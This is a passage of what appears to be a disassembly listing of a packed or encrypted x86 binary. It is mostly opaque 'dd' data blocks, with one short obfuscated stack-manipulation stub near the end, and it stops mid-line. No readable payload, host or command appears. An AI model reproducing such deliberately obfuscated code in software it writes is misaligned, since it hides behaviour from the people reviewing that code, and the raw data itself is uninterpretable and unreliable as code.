664F213Bh, 0E0C294AEh dd 0EB70C26h, 637D3719h, 0D9F3AD91h, 526C2407h, 0C6E09A80h dd 0D9D8FBE6h, 0A521D482h, 452B9933h, 0B99F718Bh, 16FCFAFFh dd 856B455Ch, 2227DFC4h, 7D7B802Bh, 3137E29Ah, 1D497CE4h dd 284B9313h, 34A9AFA7h, 0EDA78DDFh, 0B1C9F5D3h, 2D075434h dd 938A8F49h, 5A098Dh, 0D1530000h, 0FFD9F04Fh, 655C611Bh dd 60D32E61h, 0FC022BFFh, 0A1845E9Dh, 9C5437E9h, 579AA097h dd 2E5A487Eh, 4F8EA5F8h, 0D4DA9275h, 283FF7DAh, 0FFB1694Eh dd 0FA5C621Ah, 0D9B7D0DFh, 2BE5CB21h, 789BDA11h, 21D9B839h dd 0CBEEF245h, 3E6AE59Eh, 9A7D777Dh, 0EFAFDDE2h, 45000003h dd 0E01F452Bh, 0BAA0F4BDh, 3C378A29h, 29BAA075h, 0BC5A701h dd 0F4145C60h, 0D73AEC4Ah, 4329272Ch, 0DD436F89h, 0D81B475Eh dd 386E0655h, 0AB5AADB1h, 7BAA6CD4h, 0ABD71675h, 0FD151F29h dd 15585E57h, 2E5A8CE9h, 0B4171C6Fh, 855F5275h, 593C21DAh dd 0CEA59CA1h, 7B32757Bh, 2021DA84h, 7E7C8139h, 0AEDADF97h dd 3D4D90EDh, 793118F2h, 4BA1FE73h, 53D4FA1Fh, 4038h, 87C68200h dd 0B10C8ADh, 0A0981914h, 8BDE29BAh, 58656E87h, 0FF05B782h dd 0AFC665ABh, 5A19668Ch, 0EE11502Eh, 21DA1AC3h, 436268BBh dd 9A4EBF0h, 3421DA1Bh, 0E2207ED3h, 0D53D46Ch, 0C6h, 84452B57h dd 0ECE3E8A2h, 5C3E3C41h, 2CA5B69Bh, 0C70C567Dh, 3439E48Fh dd 91965036h, 0D9F3AD93h, 0BA0E19BEh, 0F6B09629h, 6A240ADCh dd 24030D65h, 9751330Dh, 36959B92h, 59EF1313h, 90E9152Eh dd 5B489A55h, 7823DBC4h, 0E9005372h, 327D76BDh, 4790944Eh dd 62C4CAD1h, 364DEA36h, 1C95B8F7h, 6221DA98h, 30C6090Fh dd 46267814h, 2002DCF3h, 3B154C66h, 9B959B55h, 0E226FFB9h dd 0F7E61168h, 2B0E00Eh, 0DF50000h, 80673953h, 0F7DCAEC8h dd 6A53253Fh, 0E4C698B2h, 12BB102Ah, 67813B1Dh, 0DDF7B195h dd 5670280Bh, 0CAE49E84h, 0D5DCFFEAh, 0A121D480h, 492B952Fh dd 643E758Fh, 0C9C0C57Dh, 29E3C9C3h, 4FD1150Fh, 3CB6D9F0h dd 0C22E5AA0h, 0F619586Fh, 21DA9FBBh, 0CB8569C3h, 7224CFC6h dd 80CDD38Bh, 0DA9F7439h, 0A47EC921h, 88FD03BBh, 0BCA27C2Bh dd 6FD02h, 0D4EBCCFAh, 0A5E753h, 2B310000h, 88868B45h dd 0A0E7ECA6h, 29BAA537h, 0FA14CEB4h, 83884228h, 2307E120h dd 726D6469h, 29BA9D3Fh, 3FF9DD37h, 9298433Ah, 6A4ED23Eh dd 0CBEE05B0h, 2E5A7E5Bh, 84B0CA1Dh, 65889F9Ch, 2677F0F2h dd 71559C48h, 4D74CA8Bh, 0CFB18BA2h, 0C7722C0Eh, 143776ADh dd 29B7D39Dh, 868086D9h, 5311EAA4h, 0ECE61181h, 1C8D503h dd 0F5DD0000h, 684F213Bh, 0DFC496B0h, 523B0D27h, 0CCAE809Ah dd 3AA3F812h, 4F692305h, 0C5DF997Dh, 3E5810F3h, 0B2CC866Ch dd 0EDC4E7D2h, 8921D47Fh, 492B7D17h, 0BDA3758Fh, 0C6EFE903h dd 523A289Ah, 7A20066Eh, 1DE9ED1Dh, 0C27A5FECh, 171BC6BDh dd 8189207Dh, 2FC02D8h, 0FA5D621Ch, 7E833B20h, 35EFD587h dd 39333930h, 43829953h, 0BA519120h, 9C6CC029h, 76D373DAh dd 0E4464C9Fh, 6D722C12h, 3C250B15h, 0DD887F84h, 0A01BA3C6h dd 315D2E5Ah, 0A960E3EEh, 2091B40Bh, 5621DA38h, 33525803h dd 9EFC9E0h, 4D534A4Fh, 80DD0A00h, 7C965036h, 4C63C050h dd 934D330Dh, 4E91978Eh, 267A5318h, 0F8F6FB4Eh, 0E0535812h dd 739F56ABh, 6F34ED0Ah, 0E0343AA2h, 0B9DCF330h, 2E5A00ADh dd 0ECBED82Bh, 49474C06h, 0B3A9AE66h, 0F9DF2986h, 17F9253Fh dd 0E0DE0118h, 16267A17h, 0EA9C563Ch, 4D444901h, 0D0D52847h dd 6F542E6Dh, 0E7F5BCB7h, 2E8129B9h, 8E482E28h, 9C153877h dd 0E229B9E7h, 463C898Fh, 4559032Fh, 0FD6B8385h, 61585D17h dd 0E63BB0B6h, 4259D63Ah, 59F59F1Fh, 0ACC6192Eh, 7C939080h dd 0FF05BDA2h, 0D56A7DA0h, 8660267Bh, 0C2E1E79Fh, 5583C916h dd 5DB4B870h, 9CA14C1Ah, 0E4FEB89Eh, 6D722C12h, 0BD3B7426h dd 0E8457A65h, 0E7FEB89Eh, 0B42C85A8h, 0FF52DD3Ah, 0DFC597F9h dd 39222025h, 957E7C81h, 8B36F0D6h, 0EDA58886h, 4A04EAE8h dd 9D54A96Ah, 3AB4377Ah, 41EC3FDDh, 5E156A97h, 0B3B5FC1Fh dd 6EC1DD3Ah, 0B37D3457h, 0A6F9DD3Ah, 6C0A6A0h, 7A341AECh dd 0FD753763h, 4B4648D1h, 3CAF845h, 60000000h, 432B6624h dd 0A0868489h, 0E3E1E6h, 61454348h, 0C2A4A2A7h, 23050308h dd 7D666469h, 0DDC2C0C5h, 3B222025h, 536D7E83h, 0C381E389h dd 4, 5304EB83h, 42474FFh, 24048F5Bh, 14DB685Ch, 14890000h dd 2C346824h, 4890000h, 68505724h, 21245A38h, 8D2558h dd 0BD0513D6h, 0D11DD6Ch, 699210CBh, 0F2927305h, 58C7898Bh dd 815FFA89h, 4ECh, 24248900h, 4240483h, 0B8505258h, 6737270Bh dd 4244429h, 8408F58h, 0B084081h, 8B673727h, 89502404h dd 405E0h, 4050000h, 87000000h, 0FF5C2404h, 815A2434h dd 4C4h, 5CADE900h, 8B15FFFAh, 31210DA2h, 0E6239FB8h, 0FFC50307h dd 6AA56EE0h, 0B9AD6E55h, 0B9C50667h, 8335BE40h, 11DC6F0Ah dd 0EC41675Ah, 0F4DDD372h, 7A429029h, 0EFCD2479h, 157D5845h dd 9079386Ah, 1E20C15Ch, 0E7A8744Ah, 0A1ADB82Dh, 0C46E0F13h dd 1952546Eh, 0D89E2B1Eh, 3874AE5Bh, 0F653D045h, 0ABF95064h dd 57FAD33Bh, 6E81Dh, 57820000h, 1420895h, 8EB6ECBAh, 0C7815F52h dd 6BA7h, 0B863DE80h, 0 dd 7348BF9h, 0C681EB8Ah, 0E0314DFh, 66FE8B60h, 6807CF81h dd 42F68161h, 661F0734h, 81AADCBAh, 0C1813EF6h, 0BE85Eh dd 4FC30000h, 2EDD21C1h, 76262263h, 3880FD3h, 80000000h dd 895956CEh, 0E8F90734h, 0Ah, 0A8750B8Dh, 76821620h, 81660117h dd 5BCB79F3h, 8102E883h, 25D16CD2h, 0B1484826h, 0F881ACh dd 0FFFFF95h, 1285h, 0DA8B6600h, 18E9h, 24E06C00h, 0A7EFC728h dd 8B14127Bh, 0FF77E9D9h, 857FFFFFh, 10B2252Ah, 58D8D7Ah dd 0F07E626h, 8D89C3BFh, 7E01815h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 5FC35545h, 5CF6ABC6h, 958BBBDDh dd 7E01AEDh, 204985C7h, 662007E0h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 8E5AEC3h dd 816675B2h, 8A6F8DCFh, 0C585C7F5h, 7E022h, 89000000h dd 0E0193585h, 199D2907h, 0FF07E011h, 0E02A5DB5h, 0C0816607h dd 95FF2E66h, 7E02091h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0B6C35646h, 0DE9h, 0C8927E00h, 637D83D3h dd 0A93B9CFBh, 6AD46Ch, 18A995FFh, 0C08B07E0h, 68362AEBh dd 0D6DD99F0h, 183391D3h, 5F6FE686h, 706EF0E7h, 372EA93Dh dd 7DB6035Dh, 9A4179F8h, 0CBAA622Eh, 0DE8CC636h, 0B718EAC0h dd 8CE9h, 6922D800h, 0F5CC4729h, 0D138F3BAh, 0ABAFD666h dd 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h, 0F377609Bh dd 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h dd 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh, 0A7D6B594h dd 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h, 0B6005EF3h dd 899DBBEFh, 899500BDh, 0BBEFB69Fh, 0B6D00097h, 7155C3B1h dd 0A4370052h, 10D3C20Dh, 0E09h, 3 dup(0) dd 1145E900h, 8A680000h, 0E907E628h, 0FFFA5A07h, 0E629BC68h dd 59FDE907h, 0BD68FFFAh, 0E907E62Ah, 0FFFA59F3h, 0E62C4068h dd 59E9E907h, 0CD68FFFAh, 0E907E62Ch, 0FFFA59DFh, 0E62D6768h dd 59D5E907h, 3668FFFAh, 0E907E62Eh, 0FFFA59CBh, 0E62ED968h dd 59C1E907h, 0D768FFFAh, 0E907E62Fh, 0FFFA59B7h, 0E6307568h dd 59ADE907h, 5568FFFAh, 0E907E631h, 0FFFA59A3h, 0E632CE68h dd 5999E907h, 6268FFFAh, 0E907E635h, 0FFFA598Fh, 0E6368C68h dd 5985E907h, 9981FFFAh, 0CF3C5DFh, 83683A54h, 0F6DFB1CBh dd 7052243Eh, 9E479CB6h, 0F30DC7A9h, 69833D21h, 0E2FCB497h dd 56702A10h, 49688B76h, 3521D47Ah, 452B29C3h, 0A288868Bh dd 283F48Fh, 92C2D0Dh, 29BA8CA8h, 25D07BCEh, 0F231DF0Bh dd 9346B8DBh, 7DD02E5Ah, 8E7C3178h, 60C121DAh, 0F471AD03h dd 3E9A53D4h, 0E4000000h, 99974FD1h, 0F7E4B52Fh, 0C9F50CB7h dd 0FD9C4592h, 7666CC9h, 5A5E0EE4h, 1015682Eh, 38F0D3ADh dd 5DBEEF32h, 1E7F21DAh, 0A93F6BC1h, 0E85853D4h, 65000000h dd 0B2F2339h, 0D3D9066Eh, 84452BB1h, 0E8DFE49Eh, 583A383Dh dd 29060145h, 0A04BFD48h, 0FDB79D9Bh, 0D154BAE6h, 0FAD0A706h dd 0C3A9A7F4h, 8CB8EF09h, 0AEC75EB9h, 0A8EBF110h, 29B9DD30h dd 0CF876C46h, 28E9CFC9h, 8D848941h, 10F6C8E2h, 0E2F1C8FDh dd 37E908DEh, 0A0979C54h, 8898F0F5h, 517194ABh, 0C72E5A38h dd 0E22E5A74h, 9DA25C3Eh, 0B8E4FBA6h, 946AF5DCh, 9AF9FF32h dd 77DED877h, 0F40B5E26h, 677E381Ah, 0E7ECA48Dh, 0B688EAF0h dd 11411AD4h, 0AEE6112Eh, 0EBA97C5h, 0CDB50000h, 4027F913h dd 0B79C6E88h, 2A13E5FFh, 0A4865872h, 527BD0EAh, 2741FBDDh dd 9DB77155h, 1630E8CBh, 8AA45E44h, 159CBFAAh, 6121D479h dd 0ECC655EFh, 0AA624708h, 0FD03FAFFh, 7D602103h, 1EC9C0C5h dd 8B4C3204h, 0F1E8EDA7h, 0D1322C46h, 0B6D9F04Fh, 2E5AA03Ch dd 0CC6A882h, 785E1007h, 0BCC2B9BEh, 0FE454A9Dh, 21DA9FAFh dd 7AD02D8Eh, 53D4EB4Ch, 0F967h, 9AC6B100h, 0AB33C909h dd 0ECE6ECF7h, 0A9634506h, 7BFA6A4h, 49ACB15Ch, 97656F1Dh dd 171D9E8Ah, 7C813B1Dh, 1E00DA19h, 3C486964h, 0DB2E29BAh dd 848A4229h, 0BA409741h, 7A341A29h, 0EEA88E60h, 0B08F91E9h dd 9B805A99h, 924A31E3h, 4D90968Dh, 2E5A2075h, 0F5AF91EBh dd 0D1F4334Ah, 21DA5FE0h, 73A0EA96h, 0B9564E8Ah, 7AA6080Eh dd 43829996h, 3C5F8569h, 21DA8675h, 0FD03AE01h, 77FDA4BAh dd 0C8DF3226h, 3B520CEEh, 0FDD8D9FCh, 3B5E29B7h, 29B7FD76h dd 83D6AD00h, 0B8E41B7Dh, 0D5B04EDh, 9A767A2Dh, 8166B471h dd 3F211B21h, 37E29C7Eh, 1184445Eh, 0BEECD5E6h, 0D88h dd 2B45FFE7h, 0A0BA7259h, 1731E9CEh, 8AA45C45h, 21CD6B8h dd 2D0F04ADh, 0A3875973h, 1AFDCFE9h, 90764862h, 0F1DCBCD6h dd 0D477E3CEh, 8F299B21h, 758F492Bh, 0E903BDA3h, 38F2D8B2h dd 452B1032h, 0A288868Bh, 13F7D1E8h, 575D5459h, 863E23F5h dd 0F4AC956Fh, 9BA15942h, 2E11EB4Eh, 90767076h, 5985BCD6h dd 0DE01A36Ah, 29B9CBD3h, 905458ABh, 8F010784h, 1092BED1h dd 3AE02ACAh, 48698CA3h, 2E29BA28h, 9F81D5DBh, 0CAAF89A0h dd 64160D12h, 60BFC57Dh, 5A2D293Dh, 1C055F2Eh, 12BD775Dh dd 90765067h, 0ECD3D0D6h, 0D65011C2h, 0F9B19A74h, 0B2719FF3h dd 78395C9Bh, 0FE395051h, 2346A5ABh, 3DF0656Fh, 0CAE70AC9h dd 0B4323045h, 59B1B661h, 356178B7h, 0A9F49C5Ah, 8BEAF004h dd 0CEE96D68h, 5F76C936h, 0CEE59F85h, 17456C8Fh, 0DE313951h dd 0BEA476D8h, 36172B04h, 0C3ACD678h, 0C8795h, 4600E800h dd 0BB735A2Ch, 32EACFA1h, 0A55D4618h, 1DD7B98Bh, 1005AE03h dd 885A742Eh, 0FED0EAA4h, 7749631Bh, 0DDBDD791h, 76E2CFF2h dd 2A9C21D4h, 0BC9AC690h, 8C1BCEF6h, 0ABD2DF02h, 59AC29B9h dd 0C8AEA8AEh, 381DF70Eh, 0CA2D7A80h, 4E540EF0h, 8AAD16FAh dd 29B9AC27h, 3A51FC4Fh, 35C73B0Eh, 1F25AA62h, 1F4281C0h dd 29BA5E92h, 509399ECh, 2E5A422Eh, 8FBBD528h, 688BA281h dd 267A2706h, 0D1181D70h, 29BA58DCh, 1A1FD9BFh, 797E381Ch dd 317CD106h, 0D63C021h, 5434A2D1h, 52FAh, 4FD14400h, 1FB6D9F0h dd 972E5AEFh, 0F5A0583Dh, 641E04DEh, 4225FF5Eh, 0E1E59F83h dd 0AECB7E93h, 546E1919h, 0F6BBDE1Dh, 0A521DA39h, 0DC2F06BEh dd 898F472Ah, 0DA3A6946h, 3D503621h, 0DAC309D9h, 22261D22h dd 0A44F4DD4h, 1DD5B88Ah, 0B96EA18h, 0D1800000h, 4C04E94Fh dd 0A09F1235h, 84D729BAh, 7C9FC2D9h, 0D22E5C87h, 0A88E687Fh dd 1C02D4EEh, 7ADED3F6h, 459821D4h, 5832959Ah, 67B7BC76h dd 22709336h, 0C4CA751Ch, 6C83A070h, 5BA5012Dh, 35CC1E85h dd 0D4849F12h, 0D984D721h, 6AFA90D3h, 21742676h, 244A300Ah dd 0BA66B001h, 0C873C629h, 0A38963C2h, 17FDCFE9h, 1000585Dh dd 672D84A7h, 0E60929BAh, 29BA66CBh, 368960B3h, 2151748Bh dd 572E5A4Ah, 0B25D17FDh, 0EECACBD9h, 4D7B64EDh, 0B04h dd 0AFC9836Bh, 243EF6DDh, 9BB56D52h, 0E28E0C9h, 86A05A3Ch dd 0B1938831h, 270BDDF7h, 9E81536Dh, 14FACCE6h, 7560405Ah dd 0D4755F52h, 0BA51721h, 0BAA0CBE2h, 8DAA7629h, 0FEB89C76h dd 0FC7699F8h, 422E5C86h, 0C1C77F68h, 5E384FA2h, 0C3BABF77h dd 9E845EBDh, 7B5C5578h, 0CF2221D4h, 61E10D24h, 0D0886BCCh dd 810E16CCh, 6147197Bh, 0C64AA2A7h, 39135269h, 5E99B55h dd 7C02454Bh, 0FA267410h, 1C6CEA7h, 7A63E615h, 0A774Ch dd 5610F800h, 0CB836A3Ch, 42FADFB1h, 0B56D5628h, 2DE7C99Bh dd 2015BE13h, 986A843Eh, 0EE0FAB4h, 8759732Bh, 0EDCDE7A1h dd 74D2DF02h, 3AAC21D4h, 8B452BA0h, 60492386h, 0C2A8A2A8h dd 5D8E0308h, 0E67CAA00h, 13975434h, 0E1000005h, 0D9F04FD1h dd 5C86A8B6h, 0C4DB2E2Eh, 304A04EAh, 0B9BE785Eh, 0D47B3B72h dd 99BCFB21h, 21D47B18h, 0B1050B5Eh, 0DFB9D06Fh, 483F44FCh dd 78A4E342h, 0CAAEE852h, 10140B10h, 5C62B5FFh, 73876519h dd 0C7A0F326h, 0E6158455h, 0DD4F7D66h, 92000009h, 4D6F0AAh dd 794B651Dh, 0F0C2DC94h, 63354F07h, 58ADC781h, 1ED8BA6Fh dd 944E3204h, 0DC5A87Ah, 813B21F3h, 799C8767h, 21D47438h dd 2B32CC3Eh, 23868B45h, 0A4AA6249h, 0F30AC4AAh, 767B3519h dd 0B72C797Fh, 6C10709Ch, 0BDB7D12Eh, 6D731ED6h, 19459BF8h dd 5754346Fh, 2BDD977Dh, 848A42h, 45Eh, 193BE10Dh, 77EDE463h dd 0BA0F5D54h, 1BC61929h, 0C5CB8569h, 0A0CBE2A3h, 0AA7629BAh dd 0E153768Dh, 972E5C87h, 6D532D44h, 0E1C799B3h, 0AED11027h dd 21D47B03h, 0CB5BB14Eh, 8259356Eh, 96EA2B2Fh, 0FA99EF54h dd 0C14FA7F4h, 56284B62h, 0E0267432h, 2CB3FE21h, 78CB29B4h dd 2025DDC6h, 39A57E29h, 4EE6151Fh, 90E3765h, 79610000h dd 0ECD3A5BFh, 63481A34h, 0D6BF91ABh, 5032041Eh, 0BE277C96h dd 0D3EDA789h, 49631D01h, 0C2DC9477h, 36500AF0h, 69486B56h dd 1521D473h, 0ECC609A3h, 173A5109h, 29BAA09Ah, 918B91E4h dd 89ECF1ABh, 0F14CCAFh, 32181218h, 29D48C71h, 0BA94AF24h dd 22191ED8h, 0F44AA71Ch, 5434E6B6h, 391E1h, 0D1E22B00h dd 7429BAA0h, 55788FACh, 2E5C87C8h, 0E5243B8Eh, 686D270Bh dd 8B716B71h, 0FFE5B7D1h, 38E84045h, 0B9C1E4FBh, 0CF267487h dd 77C4ED10h, 67BA29B4h, 0D47DE3BCh, 0AD96E614h, 86B7Fh dd 621C0400h, 0D78F7648h, 4E06EBBDh, 0C1796234h, 39F3D5A7h dd 2CE1CA1Fh, 0A476904Ah, 1AEC06C0h, 93657F37h, 0F9D9F3ADh dd 72C6EB0Eh, 3EB021D4h, 2A9AC6A4h, 0B88854F0h, 7D7B2AB6h dd 81253679h, 2E33EDCFh, 51373137h, 0AE949297h, 3E87EFF4h dd 6F5832E1h, 0D462B2B7h, 0CCAA76A1h, 524C52FDh, 0BA98B26Ch dd 5434A98Ch, 530BF2CCh, 0B36B504Eh, 77E0208h, 0C8000000h dd 2D5FBh, 9AC69100h, 0CCDFA5CDh, 6D446774h, 929B9DCh dd 0C2050BB6h, 29B9DBF1h, 586FCC54h, 5BC1EF35h, 0D3F6352Eh dd 21D3BDDEh, 0B2E4598h, 21D3BDA6h, 58777DD0h, 0BE3B7699h dd 771621D3h, 37989128h, 26D124FBh, 954F350Fh, 9C3A97Bh dd 0F2D9B3F2h, 433E353Ah, 21D3A76Eh, 0D1FD5C08h, 1B0E8C93h dd 0C51D6A70h, 99C5DC5Bh, 8A1D1B0Dh, 98F7FD63h, 74980575h dd 4F287B26h, 0E614C4EFh, 6DF5230Ch, 2000007h, 7446601Ah dd 0E9BBD58Dh, 60324C04h, 0D3A5BF77h, 0C81D37F1h, 8E482A1Fh dd 4BEA274h, 7D3518EAh, 0F1AB9163h, 0E90CF7D7h, 21D471C8h dd 2BA23CAEh, 9A748B45h, 0FDF4F9B1h, 0C6ACAAF7h, 569F070Ch dd 0FC9AFF9h, 0EAEB17F5h, 10045434h, 4E000000h, 1FDFBh dd 36285400h, 72D0701Eh, 0E21F4147h, 29BAA0D2h, 778EAD73h dd 5C87D754h, 253C8F2Eh, 8D00BDF9h, 0F7FD5A8Ah, 1ED8BE98h dd 924C3204h, 6B502A8Dh, 0B759ADB3h, 3C3E6178h, 52267411h dd 3DDC26FFh, 4EDE615h, 6CFD6h, 0FEB8A000h, 732B12E4h dd 0EAA28759h, 5D15FED0h, 0D58F7143h, 0C87D66BBh, 40122CE6h dd 0B688A25Ch, 2F011BD3h, 95758F49h, 712A87AAh, 0E25421D4h dd 0E19AC648h, 0BD775DA9h, 0FAB84B9h, 6F290F09h, 97DB076Ah dd 1C94C783h, 452B252Bh, 0EB1E868Bh, 0CD2889ACh, 0FB4E29B9h dd 0D92380F5h, 411F39F3h, 54343E05h, 182Eh, 300F3B00h dd 99183B3Fh, 0E529B9AEh, 0EC038E92h, 0FB6E9096h, 136h dd 0A0D2E291h, 0AD7329BAh, 5E38778Eh, 68B8BD75h, 97FB674Dh dd 6F7520BDh, 5C03E72Ch, 0E5FC4F2Eh, 516B250Bh, 18C9EE1Ah dd 60492EE3h, 77CDD393h, 0A7AD58D5h, 80DC7ADh, 6E4366A5h dd 821D3FBh, 0B55BAFB5h, 9F855F76h, 934D33E5h, 6F0B2E8Dh dd 89267407h, 55195D36h, 452EE615h, 5EF17h, 0DE988000h dd 530BF2C4h, 0CA826739h, 3DF5DEB0h, 0B56F5123h, 0A89D469Bh dd 20F20CC6h, 9668823Ch, 0FE1FBB3h, 75556F29h, 704A678Ah dd 0C23421D4h, 32452B28h, 0B1951FABh, 62671297h, 0BFC47E64h dd 0A6E52457h, 0BA472E83h, 0FAF54829h, 29BA46B7h, 0F1666CBFh dd 280BE59Ch, 20DABE70h, 241E241Bh, 8C6A843Eh, 5434B05Eh dd 28E2C49Eh, 3AC3EE11h, 68BB29BAh, 7DE62h, 0FB280000h dd 56h, 8B452B91h, 8FA28886h, 6734493Ah, 981E2239h, 0C473B2F9h dd 3767B26h, 6A240AE4h, 161BD3B8h, 4FA4191Fh, 465D17FDh dd 0CEC5BC1Ah, 0C6DD46EAh, 0BA070EA3h, 0F156829h, 0B69C76ADh dd 51560EF5h, 18FDAF5Ah, 5E645B60h, 2734h, 0CAB38D00h dd 0C1796012h, 452B99BBh, 0E423868Bh, 0BAA0F0C1h, 0CC4AB29h dd 99DCE235h, 29BAA115h, 1963C031h, 655F7933h, 748B452Bh dd 0F5FAB49Ah, 53ABF8FEh, 0C88067CDh, 0A21CCC3h, 0A109A8CBh dd 227529BAh, 819ABD1Ch, 0F92E5C87h, 0CFB58FA6h, 94D2FE15h dd 0E38E96F8h, 0E0A70D11h, 5D0C6ACFh, 3D23F557h, 16406C83h dd 33EE4053h, 700ADB1h, 361D733Ah, 858BE330h, 1E6C8FA6h dd 182675B3h, 0EED4AEC5h, 0E6914B2Dh, 5314FACCh, 70CB771h dd 0ABC261AFh, 5991EA88h, 0FF68142Eh, 126EA91Ah, 0D7956E19h dd 70EDEF94h, 4765987h, 11F90000h, 846B3D57h, 0FBE0B2CCh dd 6E572943h, 0E8CA9CB6h, 16BF142Eh, 6B853F21h, 0E1FBB599h dd 5A742C0Fh, 0CEE8A288h, 0D1E003EEh, 0AD21D46Eh, 452BA13Bh dd 0E2E79F84h, 9E5639EBh, 2107D9F3h, 25FF6267h, 8280853Fh dd 0E6DDE29Ch, 553B353Bh, 0B771552Fh, 0F1C0BBB2h, 8D29BAA0h dd 228A8F3Ah, 4C3284D9h, 67417892h, 219B6F80h, 86A81193h dd 93CFD5DBh, 0E1543423h, 61672107h, 53DDh, 4FD12700h dd 1FB6D9F0h, 972E5AEFh, 0C2EE2D44h, 0DEF21048h, 634E49EDh dd 4021DA73h, 7BCEA55Dh, 73704164h, 0B30621DAh, 91744EADh dd 0BA4BFD9h, 9021DA73h, 0FFD9F0AAh, 655C611Bh, 482BFD5Fh dd 0B89F7990h, 545913F9h, 0B6ADB25Dh, 0A53563B0h, 0CB000003h dd 0D9F04FD1h, 5AA47CB6h, 6756022Eh, 8BFF2172h, 634E7188h dd 1B21D9A7h, 1A181DC8h, 2757A34h, 44CC70CDh, 85ADD0E7h dd 0FB2679AAh, 0FB00B8A1h, 133F5904h, 129FC20Dh, 9129B9A2h dd 0F4EBF0A8h, 58C6CA1Dh, 732D124Dh, 1CF60DB8h, 16757B33h dd 59E23FF3h, 577A392Eh, 21D9DA5Ah, 448D7824h, 6C3F2BBBh dd 131116C1h, 0CF877031h, 2328D3CAh, 0FFA3002Dh, 0D8FB1211h dd 2679F25Ah, 591AB8E4h, 0D8FCC134h, 4960B3D2h, 0CFD48C6Fh dd 1D68496Ch, 0BB0E29BAh, 71A80A10h, 0F6FBB597h, 19FFF9FFh dd 765C5A5Fh, 0AA76A2BCh, 0AB53768Dh, 0AD2E5A23h, 9F0E555Ah dd 9E21DA1Eh, 0DD977953h, 66DBE1D8h, 6477B309h, 5AA053D4h dd 0EA000000h, 0D9F04FD1h, 22DCC09Ah, 0DD20261Dh, 2E5AA015h dd 0AE6F512Bh, 130A0FC7h, 666C6368h, 0A8EFF447h, 21DAA005h dd 0F1F6B096h, 644B0AF3h, 0FEFC01ACh, 635A5F17h, 67AA073Ch dd 4DE00C57h, 0E24CFBEBh, 9A29E062h, 984325C0h, 444A04E6h dd 0EE1C72CFh, 953D45Ch, 100h, 8B452B53h, 0ECA68886h, 224584E7h dd 29BAA08Fh, 6242F8BAh, 0B188CE7Dh, 785E585Eh, 6E19D3B7h dd 0CB856B69h, 0EF4296B1h, 0F7DD29B9h, 93985236h, 4F62859Ch dd 2729B9EFh, 3D0F29D4h, 35989D57h, 0B8BE765Bh, 5826BC64h dd 0E5D292ACh, 0B044FEECh, 29D4C2CDh, 0A88D677Eh, 688BEAF0h dd 2E5A54BEh, 9B163978h, 0E321DA93h, 186B8A90h, 0F14ED2FEh dd 103FB7DAh, 9F792678h, 0DDFC02BAh, 0B799738Ah, 6DACE3FDh dd 0B7F0674Ah, 0D3B50F29h, 6E686E19h, 41F9D28Ch, 0DEE6115Dh dd 1E2C7F5h, 0A58D0000h, 18FFD1EBh, 8F744660h, 2EBBDD7h dd 7C5E304Ah, 6A53A8C2h, 0FF19D3B5h, 758F492Dh, 0EE08C0A3h dd 627C361Ch, 3D749782h, 3921D46Ch, 492B2DC7h, 0B99E788Fh dd 0FF05FC01h, 0CB3A669Dh, 0CD7475D3h, 0C1A7A1A7h, 8EB1F007h dd 29BA9423h, 38799C5Bh, 3E29BA94h, 0EE3C40EBh, 0FAB2407Ch dd 0A39DFF05h, 500AECC6h, 0FA4E544Bh, 0DF021916h, 2E5AA013h dd 0B66E532Dh, 0F583DB2h, 4E54D7C3h, 0F522832Fh, 0F4A3651Ch dd 0B0FD4449h, 8D21DA72h, 4D79D72Ch, 8B53D4C4h, 0D58D724Ch dd 0D3DED9D0h, 0AB21DA66h, 0BACE5258h, 18000000h, 748B452Bh dd 0A09F1235h, 84D729BAh, 0F4CE317Eh, 5C535812h, 547A5C56h dd 0BAA08031h, 975BC929h, 0D0FED7E3h, 0F6FBA6F9h, 0BA2229AFh dd 1DDEC429h, 857C813Bh, 8EEC0DAh, 5A4650F5h, 33DEDFDBh dd 0ED4AD62Eh, 2C73B3D6h, 0A2F52E5Ah, 77B45C88h, 0E59D8660h dd 0FA5D80DFh, 502677A2h, 0D5436E91h, 0E83B29B7h, 6A4C263Dh dd 0F627757h, 6B162581h, 0E39D7F51h, 11A8680Ah, 0E210F9E6h dd 0B8h, 0FB15CFB7h, 708A4229h, 0E701B99Eh, 5A742C15h dd 0D2ECA688h, 0FDDF547Dh, 73572943h, 0EACD9FB9h, 60461832h dd 0C1AC8CA6h, 0D46B139Eh, 5FF96B21h, 758F492Bh, 0E903BDA3h dd 8B452BEFh, 0E8A28886h, 426F92D1h, 3C29BAA1h, 9C5437E9h dd 18083496h, 0A5E1041Bh, 632E5C86h, 0FDE2A389h, 9E494045h dd 0DF0A299h, 53595055h, 0DEDCE134h, 52243EF8h, 886C466Ch dd 0D7D2C9CEh, 21D47ADAh, 0AA644AA4h, 5803AEA5h, 3216F053h dd 3CFA7478h, 490F7EC4h, 69D10043h, 0A8DDFF4Fh, 611B014Bh dd 0D58F7547h, 31E9D2D0h, 0B409362Ch, 0A8C27C62h, 3136F0D6h dd 303h, 66249900h, 8489432Bh, 0E1E6A086h, 434800E3h, 0A2A76145h dd 308C2A4h, 64692305h, 0C0C57D66h, 2025DDC2h, 7E833B22h dd 0BA7686Dh, 2C890000h, 0E2895224h, 4C281h, 0EA830000h dd 24148704h, 2414895Ch, 65CF68h, 240C8900h, 3E3DBE56h dd 0E681556Ch, 33B5652Dh, 0E5F6814Eh, 8164907Eh, 0C91CB2F6h dd 0DDC6817Ch, 814C2433h, 5C34F0F6h, 5EF28912h, 8104EAC1h dd 99F3BCF2h, 0C8B5403h, 4C48124h, 81000000h, 4ECh, 24148900h dd 74240481h, 8F42E35Eh, 69810841h, 0E35E7408h, 240C8B42h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_554887 ; --------------------------------------------------------------------------- dd 0C619ED44h, 18572F3Dh, 0D9260F9Ah, 0B87538DCh, 7E63769h dd 0E0FFC503h, 5125BF6h, 2462B4EFh, 4526FA5Ch, 1D8309C4h dd 283EAFAAh, 313FEA1Dh, 747A8FFFh, 